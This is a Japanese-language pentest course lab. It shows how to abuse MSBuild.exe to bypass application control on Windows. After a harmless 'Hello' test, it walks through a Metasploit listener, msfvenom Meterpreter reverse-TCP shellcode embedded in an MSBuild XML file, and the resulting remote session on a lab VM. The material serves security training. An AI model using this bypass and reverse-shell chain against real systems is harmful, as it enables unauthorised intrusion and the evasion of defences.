Lab 4.5: MSBuild
オフライン演習
接続性: これはオフライン演習です。この演習ではターゲットネットワークに接続する必要はありません。インターネットアクセスは必要です。
目的
- アプリケーション制御のバイパスとしてMSBuildを使用する
- 簡単なテキストを出力するテストXMLファイルを使用する
- MetasploitおよびMeterpreterでMSBuildを使用する
ウォークスルービデオ
ラボのセットアップ
使用するVM:
- Linux
- Windows
ラボ - ステップバイステップの手順
1: セットアップ
このラボ演習では、ローカルのWindowsおよびLinux VMを使用します。まず、MSBuildを使用して任意のコードを実行できることを証明するために、サンプルのXMLファイルから始めましょう。
Windowsホスト上で、デスクトップにリンクされているCourseFiles
ディレクトリ内のbuild1.xml
ファイルを開きます。
以下で強調表示されているコード行を、選択したコードに置き換えます。
元のテキスト
public override bool Execute()
{
//PUT CODE TO EXECUTE HERE;
return true;
}
2: 初期テスト
この行を:
元のテキスト
//PUT CODE TO EXECUTE HERE;
次のコードに置き換えます:
置き換えテキスト
Console.WriteLine("Hello SEC560!");
置き換えコードは単に*Hello SEC560!*と出力します。完全なXMLファイルは次のようになります:
置き換え後のテキスト
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask
{
public override bool Execute()
{
Console.WriteLine("Hello SEC560!");
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
build1.xml
ファイルを保存します。PowerShellターミナルを開き(Windowsデスクトップ上のTerminal
ショートカットを使用)、次のコマンドを使用してMSBuild.exe
を見つけます:
コマンド
ls C:\Windows msbuild.exe -Recurse 2>$null | % FullName
想定される結果
PS C:\Windows\Microsoft.NET\Framework\v2.0.50727> ls C:\Windows msbuild.exe -Recurse 2>$null | % FullName
C:\Windows\assembly\GAC_32\MSBuild\3.5.0.0__b03f5f7f11d50a3a\MSBuild.exe
C:\Windows\assembly\GAC_64\MSBuild\3.5.0.0__b03f5f7f11d50a3a\MSBuild.exe
C:\Windows\Microsoft.NET\assembly\GAC_32\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe
C:\Windows\Microsoft.NET\assembly\GAC_64\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe
C:\Windows\Microsoft.NET\Framework\v3.5\MSBuild.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\MSBuild.exe
C:\Windows\Microsoft.NET\Framework64\v3.5\MSBuild.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
C:\Windows\WinSxS\amd64_msbuild_b03f5f7f11d50a3a_10.0.26100.1_none_ddc589fe5044ffed\MSBuild.exe
C:\Windows\WinSxS\amd64_msbuild_b03f5f7f11d50a3a_3.5.26100.1_none_97b37ed8879d1c57\MSBuild.exe
C:\Windows\WinSxS\amd64_msbuild_b03f5f7f11d50a3a_4.0.15912.0_none_de1bfcc9998a681e\MSBuild.exe
C:\Windows\WinSxS\wow64_msbuild_b03f5f7f11d50a3a_4.0.15912.0_none_07ea43e35ad4fd3b\MSBuild.exe
C:\Windows\WinSxS\x86_msbuild_b03f5f7f11d50a3a_10.0.26100.1_none_2572c0d564c128f3\MSBuild.exe
C:\Windows\WinSxS\x86_msbuild_b03f5f7f11d50a3a_3.5.26100.1_none_3b94e354cf3fab21\MSBuild.exe
次のMSBuild.exeを選択しましょう:
C:\Windows\Microsoft.NET\assembly\GAC_32\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe
これは32ビット版なので、シェルコードも32ビットである必要があります。上記で別のMSBuildを選択した場合は、ペイロードをそれに合わせて変更する必要があります。
ファイル名とパスをコピーして、ターミナルに貼り付けましょう:
- ドラッグしてパスを選択します
- Enterキーを押して選択したパスをクリップボードにコピーします
- 右クリックして貼り付けます
その後、build1.xml
ファイルへのフルパスを入力できます。コマンドは次のようになります:
コマンド
C:\Windows\Microsoft.NET\assembly\GAC_32\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe C:\CourseFiles\build1.xml
Enterキーを押すと、次の出力が表示されます:
想定される結果
PS C:\Users\sec560> C:\Windows\Microsoft.NET\assembly\GAC_32\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe C:\CourseFiles\build1.xml
Microsoft (R) Build Engine version 4.8.9032.0
[Microsoft .NET Framework, version 4.0.30319.42000]
Copyright (C) Microsoft Corporation. All rights reserved.
Build started 8/21/2024 3:25:08 PM.
Hello SEC560!
Build succeeded.
0 Warning(s)
0 Error(s)
Time Elapsed 00:00:00.42
エラーが発生した場合は、コードを追加したことを再確認してください。また、行の最後にセミコロン(;
)があることを確認してください。
3: Meterpreterシェルコード
まず、VMが通信できることを確認しましょう。Windowsで、Linux ホストのeth0
インターフェースのIPアドレスにpingを試みます。
コマンド
ping LINUX_ETH0_ADDRESS
LINUX_ETH0_ADDRESSを置き換えてください!
LINUX_ETH0_ADDRESS
をLinux VMのeth0インターフェースのアドレスに置き換えてください(tun0の10.254.25X.X
のようなアドレスではありません)。
Linuxに切り替えて、Metasploitとmsfvenomを使用できるようにしましょう。
まず、msfconsole
を起動し、新しいペイロードからの接続を受信するリスナーをセットアップしましょう。
コマンド
msfconsole
msfconsole
を起動すると、いくつかの質問に答えるよう求められる*場合があります*。
- 最初のプロンプトでEnterキーを押してデフォルトを受け入れます(webserviceを開始しない)
- 2番目のプロンプトで、
yes
と入力します(既存のデータと設定を削除)
次のオプションを設定します:
- Exploit:
use exploit/multi/handler
- Payload:
set payload windows/meterpreter/reverse_tcp
(デフォルト) - LHOST:
set lhost 0.0.0.0
(0.0.0.0はすべてのインターフェースでリスンします) - LPORT:
set lport 3333
次に、設定が正しいことを確認してから、run
コマンドを実行してリスナーを起動します。
コマンド
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3333
想定される結果
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > set lport 3333
lport => 3333
設定を確認します。
コマンド
show options
想定される結果
msf6 exploit(multi/handler) > show options
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 0.0.0.0 yes The listen address (an interface may be specified)
LPORT 3333 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
View the full module info with the info, or info -d command.
それでは、ハンドラーを起動しましょう。
コマンド
run
想定される結果
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 0.0.0.0:3333
次のステップのために新しいターミナルまたはタブを開いてください。
msfvenom
を使用してシェルコードを生成する必要があります。以下のコマンドを使用しますが、eth0
にはLinuxのIPアドレスを使用してください。
まず、ペイロード出力形式を見てみましょう。
コマンド
msfvenom --list formats
想定される結果
sec560@slingshot:~$ msfvenom --list formats
Framework Executable Formats [--format <value>]
===============================================
Name
----
asp
aspx
aspx-exe
axis2
dll
...truncated for brevity...
リストにはcsharp
が表示されます。これは、C#プログラミング言語と互換性のあるバイト形式のシェルコードです。
コマンド
msfvenom -p windows/meterpreter/reverse_tcp lhost=eth0 lport=3333 -f csharp | tee /tmp/payload.txt
想定される結果
sec560@560vm:~$ msfvenom -p windows/meterpreter/reverse_tcp lhost=eth0 lport=3333 -f csharp | tee /tmp/payload.txt
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of csharp file: 1830 bytes
byte[] buf = new byte[354] {0xfc,0xe8,0x8f,0x00,0x00,0x00,
0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,
..truncated for brevity...
このファイルをWindowsに取得する必要があります。/tmp
ディレクトリに移動し、シンプルなHTTPサーバーを起動します。
コマンド
cd /tmp
python3 -m http.server
Windowsに戻り、ポート8000
でLinux IPアドレスを参照します。次に、payload.txt
ファイルを開きます。
payload.txt
からすべてのテキストをコピーし、// PUT YOUR SHELLCODE HERE;
と書かれた行のすぐ下のbuild2.xml
に貼り付けます。インデントは重要ではないことに注意してください。
build2.xml
ファイルを保存します。それでは、ペイロードを起動しましょう!
コマンド
C:\Windows\Microsoft.NET\assembly\GAC_32\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe C:\CourseFiles\build2.xml
想定される結果
PS C:\Users\sec560> C:\Windows\Microsoft.NET\assembly\GAC_32\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe C:\CourseFiles\build2.xml
Microsoft (R) Build Engine version 4.8.9032.0
[Microsoft .NET Framework, version 4.0.30319.42000]
Copyright (C) Microsoft Corporation. All rights reserved.
Build started 8/21/2024 3:41:25 PM.
ターミナルは待機状態になります。これは、Metasploitでセッションが確立されているはずだからです。
次のステップのためにLinux VMに戻ってください
想定される結果
[*] Sending stage (176198 bytes) to 10.10.10.153
[*] Meterpreter session 1 opened (10.10.10.142:3333 -> 10.10.10.153:49785) at 2024-08-21 22:41:27 +0000
meterpreter >
コマンド
sysinfo
想定される結果
meterpreter > sysinfo
Computer : SEC560-WINDOWS
OS : Windows 11 (10.0 Build 26100).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
コマンド
getuid
想定される結果
meterpreter > getuid
Server username: SEC560-WINDOWS\sec560
Metasploitを終了します。
コマンド
exit -y
4: ボーナス
時間がある場合は、64ビットのMeterpreterペイロードを構築し、64ビットのMSBuildで動作させてください。64ビット相当のAPI呼び出しを行うための代替テンプレートが必要です。テンプレートの例はこちらにあります。
まとめ
Microsoftが署名したバイナリを使用して、選択したコードを実行しました。このような新しい技術は常に登場しています。AV/EDRバイパスとは異なり、アプリケーション制御バイパスははるかに長期間有効です。